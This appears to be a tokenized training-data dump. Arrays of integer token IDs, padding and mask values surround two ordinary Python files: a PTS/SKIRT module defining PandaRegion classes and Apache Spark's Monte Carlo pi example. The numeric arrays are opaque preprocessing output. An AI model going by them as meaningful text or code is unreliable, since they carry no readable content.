401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 4603, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 1986, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 3903, 401, 272, 298, 1176, 14, 2828, 14, 3431, 14, 1100, 63, 10547, 14, 3431, 401, 272, 283, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 1069, 9538, 199, 199, 5580, 63, 16632, 63, 10001, 275, 283, 1222, 1715, 14, 5181, 14, 2048, 14, 31482, 7, 199, 20519, 63, 3791, 63, 11429, 275, 283, 1222, 1715, 14, 5181, 14, 2048, 14, 31482, 7, 199, 199, 3, 27534, 13, 928, 16367, 2202, 446, 625, 83, 10020, 367, 9920, 199, 3, 1666, 4178, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 17, 14, 22, 15, 21232, 15, 13605, 15, 1074, 513, 15, 199, 199, 15942, 63, 14219, 275, 334, 272, 283, 1176, 14, 2828, 14, 2113, 297, 272, 283, 1176, 14, 2828, 14, 1178, 297, 272, 283, 1176, 14, 2828, 14, 10778, 297, 272, 283, 1176, 14, 2828, 14, 11676, 297, 272, 283, 1176, 14, 2828, 14, 3431, 297, 272, 283, 1176, 14, 2828, 14, 18373, 297, 339, 283, 1222, 1715, 14, 5181, 14, 2048, 297, 272, 283, 1222, 1715, 14, 5181, 14, 973, 297, 339, 283, 27879, 297, 272, 283, 22607, 297, 272, 283, 8054, 297, 272, 283, 3440, 63, 84, 10350, 83, 297, 199, 9, 199, 199, 19987, 63, 13748, 275, 334, 272, 283, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 297, 272, 283, 1176, 14, 5754, 14, 2330, 14, 7844, 6608, 297, 272, 283, 1176, 14, 5754, 14, 10088, 14, 13912, 25322, 297, 272, 283, 1176, 14, 2828, 14, 1178, 14, 5754, 14, 10348, 6608, 297, 272, 283, 1176, 14, 2828, 14, 3431, 14, 5754, 14, 2209, 6608, 297, 272, 283, 1176, 14, 5754, 14, 4891, 19193, 316, 14, 56, 3160, 4558, 6608, 297, 199, 9, 199, 199, 5441, 63, 18125, 275, 283, 1222, 1715, 14, 3603, 7, 199, 199, 16828, 63, 24051, 275, 283, 1222, 1715, 14, 6508, 14, 3578, 7, 199, 199, 3, 28220, 2072, 199, 3, 4178, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 17, 14, 22, 15, 11299, 15, 73, 1085, 78, 15, 199, 199, 13947, 63, 6012, 275, 283, 287, 13, 527, 7, 199, 199, 4961, 63, 15353, 275, 283, 11288, 7, 199, 199, 4701, 63, 41, 1085, 46, 275, 715, 199, 199, 4701, 63, 44, 709, 46, 275, 715, 199, 199, 4701, 63, 14226, 275, 715, 199, 199, 10449, 63, 2632, 275, 1994, 1986, 4805, 199, 199, 3, 10961, 9918, 402, 2955, 1584, 199, 10449, 9472, 63, 14455, 275, 334, 272, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 1986, 20467, 272, 327, 16280, 3326, 2348, 12, 2839, 3286, 4219, 15, 1360, 15, 1986, 2, 503, 298, 35, 11254, 1544, 15, 1176, 15, 1986, 1674, 272, 327, 16763, 675, 7568, 20275, 12, 2755, 641, 5417, 14, 272, 327, 7529, 1133, 19459, 370, 675, 3679, 3792, 12, 440, 3847, 3792, 14, 199, 9, 199, 199, 3, 3820, 402, 11569, 3992, 626, 5715, 4212, 370, 2342, 2955, 1584, 315, 199, 3, 7750, 9918, 14, 199, 10449, 9472, 63, 27087, 3960, 275, 334, 272, 283, 1176, 14, 2828, 14, 18373, 14, 26677, 14, 17521, 11791, 297, 272, 283, 1176, 14, 2828, 14, 18373, 14, 26677, 14, 2640, 13752, 11791, 297, 272, 283, 27879, 14, 26677, 14, 2404, 11686, 11791, 297, 199, 9, 199, 199, 3, 3820, 402, 28041, 626, 5715, 4212, 370, 492, 7009, 687, 7750, 5274, 14, 199, 7433, 63, 7405, 3960, 275, 334, 272, 283, 1176, 14, 1160, 14, 16370, 14, 11381, 14, 5455, 297, 272, 283, 1176, 14, 1160, 14, 16370, 14, 571, 63, 12629, 14, 5455, 297, 199, 9, 199, 199, 7433, 63, 14455, 275, 334, 272, 283, 1222, 1715, 15, 5876, 3678, 199, 9, 199, 199, 17208, 63, 19747, 63, 2632, 275, 7324, 199, 199, 22827, 1608, 63, 5441, 275, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 1222, 1715, 297, 283, 1986, 358, 199, 199, 22827, 1608, 63, 4225, 6790, 1193, 3960, 275, 334, 272, 661, 505, 15, 2003, 297, 1543, 83, 469, 13880, 93, 469, 4984, 6834, 450, 23695, 35, 63, 3243, 395, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
SKIRT/PTS
magic/region/panda.py
1
4117
#!/usr/bin/env python # -*- coding: utf8 -*- # ***************************************************************** # ** PTS -- Python Toolkit for working with SKIRT ** # ** © Astronomical Observatory, Ghent University ** # ***************************************************************** ## \package pts.magic.region.panda Contains the PandaRegion class and subclasses. # ----------------------------------------------------------------- # Ensure Python 3 functionality from __future__ import absolute_import, division, print_function # Import astronomical modules from astropy.coordinates import Angle from astropy.units import Quantity # Import the relevant PTS classes and modules from .region import Region, PixelRegion, SkyRegion, PhysicalRegion from ..basics.coordinate import PixelCoordinate, SkyCoordinate, PhysicalCoordinate # ----------------------------------------------------------------- class PandaRegion(Region): """ This class ... """ def __init__(self, center, start_angle, stop_angle, nangle, inner, outer, nradius, **kwargs): """ The constructor ... :param kwargs: """ # Check the angle #if not isinstance(angle, Angle): raise ValueError("Angle must be a Astropy Angle object") # Set the attributes self.center = center self.start_angle = start_angle self.stop_angle = stop_angle self.nangle = nangle self.inner = inner self.outer = outer self.nradius = nradius # Call the constructor of the base class super(PandaRegion, self).__init__(**kwargs) # ----------------------------------------------------------------- class PixelPandaRegion(PandaRegion, PixelRegion): """ This class ... """ def __init__(self, center, start_angle, stop_angle, nangle, inner, outer, nradius, **kwargs): """ This function ... """ # Check the start coordinate #if not isinstance(start, PixelCoordinate): raise ValueError("Start must be pixel coordinate") # Check the length #if not isinstance(length, float): raise ValueError("Length must be float") # Call the constructor of VectorRegion class PandaRegion.__init__(self, center, start_angle, stop_angle, nangle, inner, outer, nradius, **kwargs) # ----------------------------------------------------------------- class SkyPandaRegion(PandaRegion, SkyRegion): """ This class ... """ def __init__(self, center, start_angle, stop_angle, nangle, inner, outer, nradius, **kwargs): """ This function ... :param start: :param length: :param angle: :param kwargs: """ # Check the start coordinate #if not isinstance(start, SkyCoordinate): raise ValueError("Start must be sky coordinate") # Check the length #if not isinstance(length, Quantity): raise ValueError("Length must be an angular quantity") # Call the constructor of VectorRegion class PandaRegion.__init__(self, center, start_angle, stop_angle, nangle, inner, outer, nradius, **kwargs) # ----------------------------------------------------------------- class PhysicalPandaRegion(PandaRegion, PhysicalRegion): """ This class ... """ def __init__(self, center, start_angle, stop_angle, nangle, inner, outer, nradius, **kwargs): """ This function ... :param start: :param length: :param angle: :param kwargs: """ # Check the start coordinate #if not isinstance(start, PhysicalCoordinate): raise ValueError("Start must be physical coordinate") # Check the length #if not isinstance(length, Quantity): raise ValueError("Length must be a physical quantity of length") # Call the constructor of VectorRegion class PandaRegion.__init__(self, center, start_angle, stop_angle, nangle, inner, outer, nradius, **kwargs) # -----------------------------------------------------------------
agpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 24, 1882, 199, 3, 1011, 5815, 30948, 1116, 9153, 199, 3, 1011, 755, 510, 9730, 1553, 2018, 15650, 6065, 367, 6449, 543, 20062, 3927, 52, 3515, 1011, 199, 3, 1011, 755, 22405, 103, 437, 495, 15222, 2652, 17985, 7297, 8658, 12, 598, 72, 484, 15904, 3515, 1011, 199, 3, 1011, 5815, 30948, 1116, 9153, 199, 199, 309, 971, 2491, 21286, 14, 11523, 14, 4551, 14, 80, 18328, 22493, 314, 510, 18328, 10708, 1021, 436, 9180, 14, 199, 199, 3, 5620, 13, 199, 199, 3, 7523, 2018, 650, 9330, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 199, 3, 3161, 282, 495, 15222, 2652, 4621, 199, 504, 28753, 14, 12924, 492, 1626, 3845, 199, 504, 28753, 14, 5260, 492, 31951, 199, 199, 3, 3161, 314, 12082, 510, 9730, 3992, 436, 4621, 199, 504, 1275, 4551, 492, 22240, 12, 510, 5887, 10708, 12, 428, 10562, 10708, 12, 24309, 7476, 10708, 199, 504, 2508, 4316, 83, 14, 20493, 492, 510, 5887, 18017, 12, 428, 10562, 18017, 12, 24309, 7476, 18017, 199, 199, 3, 5620, 13, 199, 199, 533, 510, 18328, 10708, 8, 10708, 304, 339, 408, 272, 961, 1021, 2263, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 304, 398, 408, 267, 710, 3787, 2263, 267, 520, 635, 2074, 26, 267, 408, 398, 327, 2670, 314, 9324, 267, 327, 692, 440, 1228, 8, 4593, 12, 1626, 3845, 304, 746, 1722, 480, 16943, 1471, 506, 282, 31986, 7537, 1626, 3845, 909, 531, 398, 327, 2494, 314, 3004, 267, 291, 14, 4218, 275, 8126, 267, 291, 14, 928, 63, 4593, 275, 1343, 63, 4593, 267, 291, 14, 2379, 63, 4593, 275, 3631, 63, 4593, 267, 291, 14, 78, 4593, 275, 302, 4593, 267, 291, 14, 5216, 275, 6506, 267, 291, 14, 7837, 275, 6890, 267, 291, 14, 78, 8017, 275, 302, 8017, 398, 327, 6523, 314, 3787, 402, 314, 1300, 1021, 267, 1613, 8, 48, 18328, 10708, 12, 291, 2843, 826, 14155, 958, 9, 199, 199, 3, 5620, 13, 199, 199, 533, 510, 5887, 48, 18328, 10708, 8, 48, 18328, 10708, 12, 510, 5887, 10708, 304, 339, 408, 272, 961, 1021, 2263, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 304, 398, 408, 267, 961, 805, 2263, 267, 408, 398, 327, 2670, 314, 1343, 10021, 267, 327, 692, 440, 1228, 8, 928, 12, 510, 5887, 18017, 304, 746, 1722, 480, 3162, 1471, 506, 7148, 10021, 531, 398, 327, 2670, 314, 2582, 267, 327, 692, 440, 1228, 8, 1267, 12, 2069, 304, 746, 1722, 480, 4625, 1471, 506, 2069, 531, 398, 327, 6523, 314, 3787, 402, 11388, 10708, 1021, 267, 510, 18328, 10708, 855, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 9, 199, 199, 3, 5620, 13, 199, 199, 533, 428, 10562, 48, 18328, 10708, 8, 48, 18328, 10708, 12, 428, 10562, 10708, 304, 339, 408, 272, 961, 1021, 2263, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 304, 398, 408, 267, 961, 805, 2263, 267, 520, 635, 1343, 26, 267, 520, 635, 2582, 26, 267, 520, 635, 9324, 26, 267, 520, 635, 2074, 26, 267, 408, 398, 327, 2670, 314, 1343, 10021, 267, 327, 692, 440, 1228, 8, 928, 12, 428, 10562, 18017, 304, 746, 1722, 480, 3162, 1471, 506, 2386, 89, 10021, 531, 398, 327, 2670, 314, 2582, 267, 327, 692, 440, 1228, 8, 1267, 12, 31951, 304, 746, 1722, 480, 4625, 1471, 506, 376, 30921, 12524, 531, 398, 327, 6523, 314, 3787, 402, 11388, 10708, 1021, 267, 510, 18328, 10708, 855, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 9, 199, 199, 3, 5620, 13, 199, 199, 533, 24309, 7476, 48, 18328, 10708, 8, 48, 18328, 10708, 12, 24309, 7476, 10708, 304, 339, 408, 272, 961, 1021, 2263, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 304, 398, 408, 267, 961, 805, 2263, 267, 520, 635, 1343, 26, 267, 520, 635, 2582, 26, 267, 520, 635, 9324, 26, 267, 520, 635, 2074, 26, 267, 408, 398, 327, 2670, 314, 1343, 10021, 267, 327, 692, 440, 1228, 8, 928, 12, 24309, 7476, 18017, 304, 746, 1722, 480, 3162, 1471, 506, 14095, 10021, 531, 398, 327, 2670, 314, 2582, 267, 327, 692, 440, 1228, 8, 1267, 12, 31951, 304, 746, 1722, 480, 4625, 1471, 506, 282, 14095, 12524, 402, 2582, 531, 398, 327, 6523, 314, 3787, 402, 11388, 10708, 1021, 267, 510, 18328, 10708, 855, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 9, 199, 199, 3, 5620, 13, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 24, 1882, 199, 3, 1011, 5815, 30948, 1116, 9153, 199, 3, 1011, 755, 510, 9730, 1553, 2018, 15650, 6065, 367, 6449, 543, 20062, 3927, 52, 3515, 1011, 199, 3, 1011, 755, 22405, 103, 437, 495, 15222, 2652, 17985, 7297, 8658, 12, 598, 72, 484, 15904, 3515, 1011, 199, 3, 1011, 5815, 30948, 1116, 9153, 199, 199, 309, 971, 2491, 21286, 14, 11523, 14, 4551, 14, 80, 18328, 22493, 314, 510, 18328, 10708, 1021, 436, 9180, 14, 199, 199, 3, 5620, 13, 199, 199, 3, 7523, 2018, 650, 9330, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 199, 3, 3161, 282, 495, 15222, 2652, 4621, 199, 504, 28753, 14, 12924, 492, 1626, 3845, 199, 504, 28753, 14, 5260, 492, 31951, 199, 199, 3, 3161, 314, 12082, 510, 9730, 3992, 436, 4621, 199, 504, 1275, 4551, 492, 22240, 12, 510, 5887, 10708, 12, 428, 10562, 10708, 12, 24309, 7476, 10708, 199, 504, 2508, 4316, 83, 14, 20493, 492, 510, 5887, 18017, 12, 428, 10562, 18017, 12, 24309, 7476, 18017, 199, 199, 3, 5620, 13, 199, 199, 533, 510, 18328, 10708, 8, 10708, 304, 339, 408, 272, 961, 1021, 2263, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 304, 398, 408, 267, 710, 3787, 2263, 267, 520, 635, 2074, 26, 267, 408, 398, 327, 2670, 314, 9324, 267, 327, 692, 440, 1228, 8, 4593, 12, 1626, 3845, 304, 746, 1722, 480, 16943, 1471, 506, 282, 31986, 7537, 1626, 3845, 909, 531, 398, 327, 2494, 314, 3004, 267, 291, 14, 4218, 275, 8126, 267, 291, 14, 928, 63, 4593, 275, 1343, 63, 4593, 267, 291, 14, 2379, 63, 4593, 275, 3631, 63, 4593, 267, 291, 14, 78, 4593, 275, 302, 4593, 267, 291, 14, 5216, 275, 6506, 267, 291, 14, 7837, 275, 6890, 267, 291, 14, 78, 8017, 275, 302, 8017, 398, 327, 6523, 314, 3787, 402, 314, 1300, 1021, 267, 1613, 8, 48, 18328, 10708, 12, 291, 2843, 826, 14155, 958, 9, 199, 199, 3, 5620, 13, 199, 199, 533, 510, 5887, 48, 18328, 10708, 8, 48, 18328, 10708, 12, 510, 5887, 10708, 304, 339, 408, 272, 961, 1021, 2263, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 304, 398, 408, 267, 961, 805, 2263, 267, 408, 398, 327, 2670, 314, 1343, 10021, 267, 327, 692, 440, 1228, 8, 928, 12, 510, 5887, 18017, 304, 746, 1722, 480, 3162, 1471, 506, 7148, 10021, 531, 398, 327, 2670, 314, 2582, 267, 327, 692, 440, 1228, 8, 1267, 12, 2069, 304, 746, 1722, 480, 4625, 1471, 506, 2069, 531, 398, 327, 6523, 314, 3787, 402, 11388, 10708, 1021, 267, 510, 18328, 10708, 855, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 9, 199, 199, 3, 5620, 13, 199, 199, 533, 428, 10562, 48, 18328, 10708, 8, 48, 18328, 10708, 12, 428, 10562, 10708, 304, 339, 408, 272, 961, 1021, 2263, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 304, 398, 408, 267, 961, 805, 2263, 267, 520, 635, 1343, 26, 267, 520, 635, 2582, 26, 267, 520, 635, 9324, 26, 267, 520, 635, 2074, 26, 267, 408, 398, 327, 2670, 314, 1343, 10021, 267, 327, 692, 440, 1228, 8, 928, 12, 428, 10562, 18017, 304, 746, 1722, 480, 3162, 1471, 506, 2386, 89, 10021, 531, 398, 327, 2670, 314, 2582, 267, 327, 692, 440, 1228, 8, 1267, 12, 31951, 304, 746, 1722, 480, 4625, 1471, 506, 376, 30921, 12524, 531, 398, 327, 6523, 314, 3787, 402, 11388, 10708, 1021, 267, 510, 18328, 10708, 855, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 9, 199, 199, 3, 5620, 13, 199, 199, 533, 24309, 7476, 48, 18328, 10708, 8, 48, 18328, 10708, 12, 24309, 7476, 10708, 304, 339, 408, 272, 961, 1021, 2263, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 304, 398, 408, 267, 961, 805, 2263, 267, 520, 635, 1343, 26, 267, 520, 635, 2582, 26, 267, 520, 635, 9324, 26, 267, 520, 635, 2074, 26, 267, 408, 398, 327, 2670, 314, 1343, 10021, 267, 327, 692, 440, 1228, 8, 928, 12, 24309, 7476, 18017, 304, 746, 1722, 480, 3162, 1471, 506, 14095, 10021, 531, 398, 327, 2670, 314, 2582, 267, 327, 692, 440, 1228, 8, 1267, 12, 31951, 304, 746, 1722, 480, 4625, 1471, 506, 282, 14095, 12524, 402, 2582, 531, 398, 327, 6523, 314, 3787, 402, 11388, 10708, 1021, 267, 510, 18328, 10708, 855, 826, 721, 277, 12, 8126, 12, 1343, 63, 4593, 12, 3631, 63, 4593, 12, 302, 4593, 12, 6506, 12, 6890, 12, 302, 8017, 12, 1011, 958, 9, 199, 199, 3, 5620, 13, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
rjpower/spark
python/examples/pi.py
10
1382
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import sys from random import random from operator import add from pyspark import SparkContext if __name__ == "__main__": if len(sys.argv) == 1: print >> sys.stderr, "Usage: pi <master> [<slices>]" exit(-1) sc = SparkContext(sys.argv[1], "PythonPi") slices = int(sys.argv[2]) if len(sys.argv) > 2 else 2 n = 100000 * slices def f(_): x = random() * 2 - 1 y = random() * 2 - 1 return 1 if x ** 2 + y ** 2 < 1 else 0 count = sc.parallelize(xrange(1, n+1), slices).map(f).reduce(add) print "Pi is roughly %f" % (4.0 * count / n)
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 984, 199, 504, 2196, 492, 2196, 199, 504, 4182, 492, 1050, 199, 199, 504, 15847, 492, 21769, 421, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 340, 822, 8, 1274, 14, 3020, 9, 508, 413, 26, 267, 870, 4331, 984, 14, 3083, 12, 298, 7692, 26, 6682, 665, 4133, 30, 24936, 14865, 30, 8480, 267, 4458, 2801, 17, 9, 272, 4061, 275, 21769, 8, 1274, 14, 3020, 59, 17, 467, 298, 4718, 10542, 531, 272, 17184, 275, 1109, 8, 1274, 14, 3020, 59, 18, 566, 340, 822, 8, 1274, 14, 3020, 9, 690, 499, 587, 499, 272, 302, 275, 25761, 627, 17184, 272, 347, 289, 1547, 304, 267, 671, 275, 2196, 342, 627, 499, 446, 413, 267, 612, 275, 2196, 342, 627, 499, 446, 413, 267, 372, 413, 340, 671, 1011, 499, 435, 612, 1011, 499, 665, 413, 587, 378, 272, 2338, 275, 4061, 14, 27675, 8, 21120, 8, 17, 12, 302, 11, 17, 395, 17184, 680, 1130, 8, 70, 680, 5270, 8, 525, 9, 272, 870, 298, 10542, 365, 28568, 590, 450, 70, 2, 450, 334, 20, 14, 16, 627, 2338, 1182, 302, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 